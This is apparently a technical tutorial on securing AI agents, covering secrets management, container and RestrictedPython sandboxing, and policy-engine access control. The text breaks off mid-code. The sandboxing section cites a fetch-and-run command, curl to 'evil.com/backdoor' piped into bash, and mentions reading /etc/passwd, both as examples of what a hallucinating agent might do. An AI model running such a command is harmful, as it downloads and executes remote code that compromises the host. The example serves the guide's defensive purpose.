Understanding AI Agent Security
AI agents—autonomous software entities that perceive their environment and take actions to achieve goals—are increasingly deployed across production systems. These agents interact with external APIs, execute code, access databases, and make decisions that affect real-world infrastructure. This expanded surface area introduces significant security risks that traditional application security models don't fully address. Three foundational pillars form the core of AI agent security: API key management, sandboxing, and access control. Each must be carefully engineered to prevent data exfiltration, privilege escalation, and unintended destructive actions.
API Key Management for AI Agents
What It Is
API key management encompasses the secure generation, storage, distribution, rotation, and revocation of credentials that AI agents use to authenticate with external services. Unlike human-operated applications where keys are used in controlled, predictable workflows, AI agents dynamically determine which APIs to call, what parameters to pass, and how to combine services. This dynamic behavior means an agent might inadvertently expose keys in logs, transmit them to unintended endpoints, or use them in ways that exceed authorized scopes.
Why It Matters
A compromised API key in an AI agent context can lead to cascading failures. Since agents often chain multiple API calls together—using the output of one service as input to another—a single leaked credential can expose entire data pipelines. For example, an agent orchestrating customer support might hold keys for a CRM, a payment processor, and a messaging platform. If the payment processor key leaks through a debugging log emitted during an agent's reasoning trace, an attacker could initiate unauthorized transactions. The autonomous nature of agents also means they might continue operating with exposed keys long after a breach begins, amplifying damage.
How to Implement Secure API Key Handling
Start by separating credentials from agent logic completely. Never hardcode keys in prompt templates, system messages, or configuration files that the agent can directly read. Instead, inject keys at runtime through a secrets manager that the agent's execution environment accesses transparently. Below is a reference implementation using environment variables and a secure vault lookup pattern.
# example_agent/secrets_manager.py
import os
import hashlib
import hmac
from typing import Optional, Dict
from functools import wraps
import structlog
logger = structlog.get_logger()
class SecretsManager:
"""
Centralized secrets manager that never exposes raw key values
to the agent's reasoning context. Keys are resolved just-in-time
at the transport layer, not in the prompt or memory.
"""
def __init__(self, vault_token: Optional[str] = None):
self._vault_token = vault_token or os.environ.get("VAULT_TOKEN")
if not self._vault_token:
raise ValueError("VAULT_TOKEN must be set in environment")
self._cache = {} # In-memory cache with TTL enforced by caller
def resolve_key(self, service_name: str, scope: str = "default") -> str:
"""
Retrieve a key for a given service and scope.
The agent calls this, but the resolved key is never placed
in the agent's prompt context—it's attached at the HTTP layer.
"""
cache_key = f"{service_name}:{scope}"
if cache_key in self._cache:
return self._cache[cache_key]
# In production, this would call HashiCorp Vault, AWS Secrets Manager,
# or a similar secure credential store
key = self._fetch_from_vault(service_name, scope)
self._cache[cache_key] = key
return key
def _fetch_from_vault(self, service_name: str, scope: str) -> str:
"""Production stub: replace with actual vault client call."""
# Example: hvac.Client().read(f'secret/{service_name}/{scope}')
# For demonstration, use environment variable convention
env_var = f"SECRET_{service_name.upper()}_{scope.upper()}"
value = os.environ.get(env_var)
if not value:
raise KeyError(f"No secret found for {service_name}:{scope}")
return value
def rotate_key(self, service_name: str, scope: str) -> str:
"""Trigger rotation and invalidate cached entry."""
cache_key = f"{service_name}:{scope}"
self._cache.pop(cache_key, None)
# Call vault rotation endpoint here
new_key = self._fetch_from_vault(service_name, scope)
logger.info("key_rotated", service=service_name, scope=scope)
return new_key
# Decorator that ensures API calls attach keys at the transport layer
def with_api_key(service_name: str, scope: str = "default"):
"""Decorator that injects API keys into HTTP requests transparently."""
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
secrets = SecretsManager()
api_key = secrets.resolve_key(service_name, scope)
# Inject into kwargs for the HTTP client, never into prompt
kwargs['_auth_header'] = {"Authorization": f"Bearer {api_key}"}
return func(*args, **kwargs)
return wrapper
return decorator
# Usage example
@with_api_key("openai", "gpt4")
def call_llm_api(prompt: str, _auth_header: dict = None):
"""Agent calls this; the API key is injected by the decorator."""
import httpx
headers = {"Content-Type": "application/json"}
if _auth_header:
headers.update(_auth_header)
# The prompt never sees the key value
response = httpx.post(
"https://api.openai.com/v1/chat/completions",
headers=headers,
json={"model": "gpt-4", "messages": [{"role": "user", "content": prompt}]}
)
return response.json()For agents that must select among multiple services, implement a key registry that maps service identifiers to credentials without embedding the mapping in the agent's context. The agent emits a structured intent like {"action": "call_api", "service": "stripe", "operation": "create_invoice"}, and the execution layer resolves the appropriate key and performs the call on the agent's behalf.
# agent_executor.py
import json
from secrets_manager import SecretsManager
from audit_log import AuditLogger
class AgentActionExecutor:
"""
Executes agent-intended actions with proper credential injection.
The agent sees only action descriptors, never raw credentials.
"""
ALLOWED_ACTIONS = {"call_api", "query_database", "send_message"}
def __init__(self):
self.secrets = SecretsManager()
self.audit = AuditLogger()
def execute(self, agent_intent: dict) -> dict:
"""Parse agent intent, validate, inject credentials, execute."""
action = agent_intent.get("action")
if action not in self.ALLOWED_ACTIONS:
raise PermissionError(f"Action {action} not allowed")
if action == "call_api":
service = agent_intent["service"]
operation = agent_intent["operation"]
params = agent_intent.get("params", {})
# Resolve key just-in-time
api_key = self.secrets.resolve_key(service, operation)
# Log the attempt (without the key)
self.audit.log_event(
event="api_call_initiated",
service=service,
operation=operation,
params=params
)
# Execute the HTTP call; key is attached to transport, not logged
result = self._perform_api_call(service, operation, params, api_key)
self.audit.log_event(
event="api_call_completed",
service=service,
operation=operation,
status=result.get("status")
)
return result
# Handle other actions similarly
return {"status": "ok", "message": "Action executed"}Best Practices for API Key Management in Agents
- Never include keys in prompts or system messages. Agent reasoning traces are increasingly stored for debugging and evaluation—these logs become high-value targets if they contain credentials.
- Use short-lived, scoped keys. Generate keys with minimum necessary permissions and expiry times measured in hours, not months. For cloud providers, use temporary credentials via STS (Security Token Service) whenever possible.
- Implement automated rotation. Run a background process that rotates keys on a schedule (e.g., every 6 hours) and immediately revokes keys if anomaly detection flags unusual API call patterns.
- Log API usage without keys. Structure logs to record which service was called, by which agent instance, with what parameters, but never the credential itself. Use a secure hash of the key for correlation if needed.
- Quota and rate limit per agent instance. Even with valid keys, constrain how many calls an agent can make to expensive endpoints. This limits blast radius if an agent enters a faulty reasoning loop.
Sandboxing AI Agents
What It Is
Sandboxing is the practice of constraining an AI agent's execution environment so that its actions—whether intended by developers or hallucinated by the model—cannot affect systems outside a defined boundary. A proper sandbox limits file system access, network egress, system call capabilities, and resource consumption. For agents that execute code (a common pattern when agents use tools like Python REPLs or shell commands), sandboxing is not optional; it's the primary defense against remote code execution turning into host compromise.
Why It Matters
Consider an AI agent tasked with data analysis that has access to a Python interpreter. The agent receives a user query: "Analyze the sales data and email a summary to the CFO." If the model hallucinates a file path like /etc/passwd or attempts to execute os.system("curl evil.com/backdoor | bash"), an unsandboxed execution environment grants that command full system privileges. Even without malicious intent, a buggy agent could recursively fork processes and exhaust host memory. Sandboxing ensures that the agent's worst-case behavior—whether accidental or adversarial—is contained within a disposable, resource-limited environment.
Implementation Approaches
There are several layers of sandboxing, each providing different isolation guarantees. The most robust approach combines OS-level containers, seccomp profiles, and network policies.
Container-Based Sandboxing with Docker
Wrapping the agent's execution environment in a Docker container provides filesystem isolation, network control, and resource limits. The example below shows a Dockerfile and runner script that creates an ephemeral, unprivileged sandbox for each agent invocation.
# Dockerfile.agent-sandbox
FROM python:3.11-slim
# Create a non-root user with minimal privileges
RUN useradd --create-home --shell /bin/false agent_user && \
mkdir -p /sandbox/workspace && \
chown agent_user:agent_user /sandbox/workspace
# Install only allowed packages
COPY requirements-sandbox.txt /tmp/
RUN pip install --no-cache-dir -r /tmp/requirements-sandbox.txt && \
rm /tmp/requirements-sandbox.txt
# Switch to non-root user
USER agent_user
WORKDIR /sandbox/workspace
# Default command: a restricted Python REPL
CMD ["python3", "-i"]# sandbox_runner.py
import subprocess
import tempfile
import os
import signal
import resource
from pathlib import Path
from typing import Optional, Dict
import uuid
import json
class SandboxManager:
"""
Manages ephemeral Docker sandboxes for AI agent code execution.
Each agent session gets a fresh container with no persistent state.
"""
def __init__(self, image: str = "agent-sandbox:latest"):
self.image = image
self.active_sandboxes: Dict[str, str] = {} # session_id -> container_id
def create_sandbox(self, session_id: str,
memory_limit_mb: int = 256,
cpu_limit: float = 0.5,
network_access: bool = False,
timeout_seconds: int = 30) -> str:
"""
Creates a new sandbox container for the given session.
Returns the container ID.
"""
container_name = f"sandbox-{session_id}-{uuid.uuid4().hex[:8]}"
cmd = [
"docker", "run",
"--detach",
"--name", container_name,
"--read-only", # Immutable filesystem except mounted volumes
"--tmpfs", "/tmp:size=100M,noexec", # Temporary writable space, no execution
"--memory", f"{memory_limit_mb}m",
"--cpus", str(cpu_limit),
"--pids-limit", "50", # Prevent fork bombs
"--security-opt", "no-new-privileges",
"--cap-drop", "ALL", # Drop all capabilities
"--cap-add", "NET_BIND_SERVICE", # Only if absolutely needed
"--network", "none" if not network_access else "isolated",
"-v", f"/tmp/sandbox-input/{session_id}:/sandbox/workspace/input:ro",
"-v", f"/tmp/sandbox-output/{session_id}:/sandbox/workspace/output",
self.image,
"timeout", str(timeout_seconds), "python3", "-u", "/sandbox/workspace/input/script.py"
]
result = subprocess.run(cmd, capture_output=True, text=True, check=True)
container_id = result.stdout.strip()
self.active_sandboxes[session_id] = container_id
# Start a timer to kill the container after timeout
signal.signal(signal.SIGALRM, lambda s, f: self._cleanup_timeout(session_id))
return container_id
def execute_script(self, session_id: str, script_content: str,
input_data: dict = None) -> dict:
"""
Writes the script to input volume, runs it in the sandbox,
and collects output. The script runs entirely inside the container.
"""
input_dir = Path(f"/tmp/sandbox-input/{session_id}")
output_dir = Path(f"/tmp/sandbox-output/{session_id}")
input_dir.mkdir(parents=True, exist_ok=True)
output_dir.mkdir(parents=True, exist_ok=True)
# Write script to input directory (read-only inside container)
script_path = input_dir / "script.py"
script_path.write_text(script_content)
if input_data:
(input_dir / "input.json").write_text(json.dumps(input_data))
# Create sandbox and wait for completion
container_id = self.create_sandbox(session_id)
# Wait for container to finish
result = subprocess.run(
["docker", "wait", container_id],
capture_output=True, text=True, check=True
)
exit_code = int(result.stdout.strip())
# Collect output
output = {}
output_file = output_dir / "result.json"
if output_file.exists():
output = json.loads(output_file.read_text())
# Collect logs
logs = subprocess.run(
["docker", "logs", container_id],
capture_output=True, text=True
)
self._destroy_sandbox(session_id)
return {
"exit_code": exit_code,
"output": output,
"logs": logs.stdout,
"errors": logs.stderr,
"sandbox_id": container_id
}
def _destroy_sandbox(self, session_id: str):
"""Remove the container and clean up volumes."""
container_id = self.active_sandboxes.pop(session_id, None)
if container_id:
subprocess.run(
["docker", "rm", "-f", container_id],
capture_output=True
)
# Clean up host directories
for d in [f"/tmp/sandbox-input/{session_id}", f"/tmp/sandbox-output/{session_id}"]:
subprocess.run(["rm", "-rf", d])
def _cleanup_timeout(self, session_id: str):
"""Force-kill container if timeout expires."""
container_id = self.active_sandboxes.get(session_id)
if container_id:
subprocess.run(["docker", "kill", container_id])
logger.warning("sandbox_timeout_killed", session_id=session_id)Language-Level Sandboxing with RestrictedPython
For agents that only need to execute Python code (no shell access), a language-level sandbox like RestrictedPython provides finer-grained control without the overhead of full containerization. This approach is suitable when you trust the broader environment but need to limit what specific Python constructs an agent can use.
# restricted_executor.py
from RestrictedPython import compile_restricted, safe_globals
from RestrictedPython.Guards import guarded_iter_unpack_sequence
from RestrictedPython.Eval import default_guarded_getiter
import builtins
import math
import json
class SafeAgentExecutor:
"""
Executes agent-generated Python code in a restricted environment.
Dangerous modules and builtins are removed or replaced with safe versions.
"""
def __init__(self):
# Start with a minimal set of safe globals
self._safe_builtins = {
# Allow basic types and operations
'int': int,
'float': float,
'str': str,
'bool': bool,
'list': list,
'dict': dict,
'tuple': tuple,
'set': set,
'len': len,
'range': range,
'enumerate': enumerate,
'zip': zip,
'map': map,
'filter': filter,
'min': min,
'max': max,
'sum': sum,
'abs': abs,
'round': round,
'sorted': sorted,
'reversed': reversed,
# Safe math functions
'math': math,
# JSON operations are safe for data transformation
'json': json,
# Print is redirected to a string buffer, not stdout
'_print': self._captured_print,
}
# Explicitly DENIED: open, exec, eval, compile, __import__,
# os, sys, subprocess, socket, http, urllib, shutil, pathlib
def _captured_print(self, *args, **kwargs):
"""Redirects print() output to internal buffer instead of stdout."""
output = " ".join(str(arg) for arg in args)
self._output_buffer.append(output)
def execute(self, code: str, local_vars: dict = None) -> dict:
"""
Safely execute agent-provided code and return results.
The code cannot access filesystem, network, or system commands.
"""
self._output_buffer = []
# Compile with restricted mode
try:
bytecode = compile_restricted(
code,
filename='',
mode='exec'
)
except SyntaxError as e:
return {"error": f"Syntax error in agent code: {str(e)}", "output": []}
# Build safe globals
globals_dict = {
'__builtins__': self._safe_builtins,
'_getiter_': default_guarded_getiter,
'_iter_unpack_sequence_': guarded_iter_unpack_sequence,
'_print_': self._captured_print,
}
# Prepare locals
locals_dict = {}
if local_vars:
# Sanitize input variables - only allow basic types
for key, value in local_vars.items():
if isinstance(value, (int, float, str, bool, list, dict, tuple, type(None))):
locals_dict[key] = value
try:
exec(bytecode, globals_dict, locals_dict)
except Exception as e:
return {
"error": f"Execution error: {str(e)}",
"output": self._output_buffer,
"locals": {k: v for k, v in locals_dict.items()
if not k.startswith('_')}
}
# Return captured output and local variables
return {
"success": True,
"output": self._output_buffer,
"locals": {k: v for k, v in locals_dict.items()
if not k.startswith('_') and k not in globals_dict}
}
# Usage
executor = SafeAgentExecutor()
result = executor.execute(
"""
data = [1, 2, 3, 4, 5]
mean = sum(data) / len(data)
squared_diff = [(x - mean) ** 2 for x in data]
variance = sum(squared_diff) / len(data)
_print(f"Mean: {mean}, Variance: {variance}")
""",
local_vars={}
)
print(result)
# Output: {'success': True, 'output': ['Mean: 3.0, Variance: 2.0'], 'locals': {'data': [1,2,3,4,5], 'mean': 3.0, ...}} Best Practices for Sandboxing AI Agents
- Use defense in depth. Combine container isolation, language-level restrictions, and network policies. No single layer is perfect; overlapping controls catch edge cases.
- Ephemeral environments only. Destroy the sandbox after every agent interaction. Never allow an agent to accumulate state across executions in the same sandbox—this prevents an agent from staging data for exfiltration.
- Disable network egress by default. Only enable specific outbound connections to known, allowlisted endpoints. Use a forward proxy that enforces allowlists rather than relying on the agent to self-police network access.
- Set hard resource limits. CPU shares, memory, PIDs, and disk space should all be capped. A runaway agent consuming 100% CPU for hours can cause real financial damage in cloud environments.
- Validate inputs and outputs. Even within a sandbox, validate that the agent's output conforms to expected schemas before passing it to downstream systems. This prevents injection attacks that might escape the sandbox through serialization flaws.
- Monitor sandbox escape attempts. Log and alert on any attempt to access disallowed system calls, network connections, or file paths. These are high-signal indicators of either a bug or an adversarial prompt.
Access Control for AI Agents
What It Is
Access control for AI agents defines what resources an agent can access, under what conditions, and with what level of privilege. This goes beyond simple API key scoping—it involves identity, authorization policies, and runtime enforcement that accounts for the agent's context, the user it's acting on behalf of, and the sensitivity of the requested operation. A well-designed access control system answers the question: "Is this agent, acting for this user, in this context, authorized to perform this specific action on this specific resource?"
Why It Matters
AI agents often act as intermediaries between users and systems. A customer support agent might need to read order history for any user but should only modify orders for the authenticated user who initiated the session. Without proper access control, a prompt injection attack could trick the agent into reading another user's personally identifiable information or modifying records the attacker shouldn't access. Access control is also critical when agents have tool access—an agent with a database query tool must have its queries scoped to the appropriate tenant, even if the underlying database connection technically has broader privileges.
Implementing Access Control
Effective access control for agents requires a policy engine, an identity propagation mechanism, and an enforcement layer that operates at the action level. The implementation below demonstrates a policy-based authorization system using Open Policy Agent (OPA) concepts adapted for agent workflows.
# agent_access_control/policy_engine.py
from dataclasses import dataclass, field
from typing import Optional, List, Dict, Any
from enum import Enum
import json
import re
from datetime import datetime, timedelta
import structlog
logger = structlog.get_logger()
class AccessDecision(Enum):
ALLOW = "allow"
DENY = "deny"
REQUIRE_MFA = "require_mfa" # Escalate to human approval
@dataclass
class AgentContext:
"""Captures the full context of an agent's action for authorization."""
agent_id: str
agent_role: str # e.g., "customer_support", "data_analyst", "code_assistant"
session_id: str
acting_user_id: str # The user the agent is acting on behalf of
authenticated_scopes: List[str] # Scopes granted by user's OAuth token
tool_name: str # The tool/function the agent wants to call
tool_parameters: Dict[str, Any] # Arguments the agent intends to pass
target_resource_type: str # e.g., "order", "user_profile", "database_table"
target_resource_id: Optional[str] # Specific resource identifier
request_timestamp: datetime = field(default_factory=datetime.utcnow)
class PolicyEngine:
"""
Evaluates access control policies for AI agent actions.
Policies are defined as code (not prompts) and evaluated deterministically.
"""
def __init__(self, policy_file: str = "agent_policies.rego"):
self.policies = self._load_policies(policy_file)
self.decision_cache = {} # Cache decisions for 60 seconds
def _load_policies(self, policy_file: str) -> dict:
"""In production, this loads Rego policies from OPA or a similar engine.
Here we implement a Python-native rule engine for demonstration."""
# This is a simplified policy structure; in production use OPA's REST API
return {
"customer_support_agent": {
"allowed_tools": ["lookup_order", "check_order_status", "cancel_order"],
"resource_constraints": {
"order": {
"read": "any", # Can read any order for lookup purposes
"modify": "owned_by_user", # Can only modify user's own orders
"delete": "none" # Never allowed to delete orders
},
"user_profile": {
"read": "own_only",
"modify": "own_only"
}
},
"rate_limits": {
"cancel_order": {"max_per_hour": 3, "require_confirmation": True}
},
"time_restrictions": {
"cancel_order": {"allowed_hours": [8, 20]} # 8 AM to 8 PM
}
},
"data_analyst_agent": {
"allowed_tools": ["query_database", "generate_report", "export_csv"],
"resource_constraints": {
"database_table": {
"read": "preapproved_tables", # Only tables in allowlist
"modify": "none",
"create": "none"
}
},
"data_egress_limits": {
"max_rows_per_query": 1000,
"require_approval_over": 500
}
}
}
def evaluate(self, context: AgentContext) -> AccessDecision:
"""
Determine whether the agent's intended action is authorized.
Returns ALLOW, DENY, or REQUIRE_MFA.
"""
cache_key = (
context.agent_id + context.tool_name +
(context.target_resource_id or "") +
str(context.request_timestamp.minute) # Cache per minute
)
if cache_key in self.decision_cache:
return self.decision_cache[cache_key]
agent_policy = self.policies.get(context.agent_role)
if not agent_policy:
logger.warning("no_policy_found", agent_role=context.agent_role)
return AccessDecision.DENY
# Check 1: Is the tool in the allowed list?
if context.tool_name not in agent_policy["allowed_tools"]:
logger.warning("tool_not_allowed",
tool=context.tool_name,
agent_role=context.agent_role)
return AccessDecision.DENY
# Check 2: Resource-level permissions
resource_policy = agent_policy.get("resource_constraints", {})
resource_type = context.target_resource_type
if resource_type in resource_policy:
constraints = resource_policy[resource_type]
required_permission = self._infer_permission_level(context)
if required_permission not in constraints:
return AccessDecision.DENY
permission_mode = constraints[required_permission]
if permission_mode == "none":
return AccessDecision.DENY
elif permission_mode == "own_only":
if not self._is_own_resource(context):
return AccessDecision.DENY
elif permission_mode == "owned_by_user":
if not self._is_resource_owned_by_user(context):
return AccessDecision.DENY
elif permission_mode == "preapproved_tables":
if not self._is_table_preapproved(context):
return AccessDecision.DENY
# Check 3: Rate limits
rate_limits = agent_policy.get("rate_limits", {})
if context.tool_name in rate_limits:
limits = rate_limits[context.tool_name]
if self._rate_limit_exceeded(context, limits):
return AccessDecision.DENY
if limits.get("require_confirmation", False):
if not context.tool_parameters.get("user_confirmed"):
return AccessDecision.REQUIRE_MFA
# Check 4: Time restrictions
time_restrictions = agent_policy.get("time_restrictions", {})
if context.tool_name in time_restrictions:
hours = time_restrictions[context.tool_name]["allowed_hours"]
current_hour = datetime.utcnow().hour
if not (hours[0] <= current_hour < hours[1]):
return AccessDecision.DENY
decision = AccessDecision.ALLOW
self.decision_cache[cache_key] = decision
return decision
def _infer_permission_level(self, context: AgentContext) -> str:
"""Map tool and parameters to permission level (read/modify/create/delete)."""
if context.tool_name in ("lookup_order", "check_order_status", "query_database"):
return "read"
elif context.tool_name in ("cancel_order", "update_profile"):
return "modify"
elif context.tool_name == "delete_order":
return "delete"
elif context.tool_name == "export_csv":
return "read" # Exporting is reading data
return "read"
def _is_own_resource(self, context: AgentContext) -> bool:
"""Check if target resource belongs to the acting user."""
return context.target_resource_id == context.acting_user_id
def _is_resource_owned_by_user(self, context: AgentContext) -> bool:
"""Verify resource ownership via a trusted lookup (not agent-provided data)."""
# This should call a trusted service, not trust agent-provided parameters
# For demonstration: check that user_id param matches acting_user_id
user_id_param = context.tool_parameters.get("user_id")
return user_id_param == context.acting_user_id
def _is_table_preapproved(self, context: AgentContext) -> bool:
"""Check against a static allowlist of database tables."""
APPROVED_TABLES = {"orders", "products", "customers_anonymized", "sales_summary"}
table_name = context.tool_parameters.get("table_name", "")
return table_name in APPROVED_TABLES
def _rate_limit_exceeded(self, context: AgentContext, limits: dict) -> bool:
"""Check rate limits using a Redis counter or similar."""
# Production: query Redis for current count in sliding window
# Simplified: return False (not exceeded) for demonstration
return FalseNow we wire the policy engine into the agent's execution loop. Every action the agent proposes goes through authorization before execution.
# agent_executor_with_access_control.py
from policy_engine import PolicyEngine, AgentContext, AccessDecision
from typing import Dict, Any
import structlog
import uuid
logger = structlog.get_logger()
class SecureAgentExecutor:
"""
Wraps agent action execution with mandatory access control checks.
No agent action executes without passing through the policy engine.
"""
def __init__(self, policy_engine: PolicyEngine):
self.policy = policy_engine
self.audit_log = []
def process_agent_action(self,
agent_id: str,
agent_role: str,
session_id: str,
acting_user_id: str,
user_scopes: list,
proposed_action: dict) -> dict:
"""
Entry point for all agent actions. Every action is authorized
before execution. Returns action result or denial message.
"""
# Build authorization context
context = AgentContext(
agent_id=agent_id,
agent_role=agent_role,
session_id=session_id,
acting_user_id=acting_user_id,
authenticated_scopes=user_scopes,
tool_name=proposed_action.get("tool", ""),
tool_parameters=proposed_action.get("parameters", {}),
target_resource_type=proposed_action.get("resource_type", ""),
target_resource_id=proposed_action.get("resource_id")
)
# Mandatory authorization check
decision = self.policy.evaluate(context)
self.audit_log.append({
"timestamp": context.request_timestamp.isoformat(),
"agent_id": agent_id,
"tool": context.tool_name,
"decision": decision.value,
"session_id": session_id
})
if decision == AccessDecision.DENY:
logger.warning(
"agent_action_denied",
agent_id=agent_id,
tool=context.tool_name,
reason="policy_engine_deny"
)
return {
"status": "denied",
"message": f"Action '{context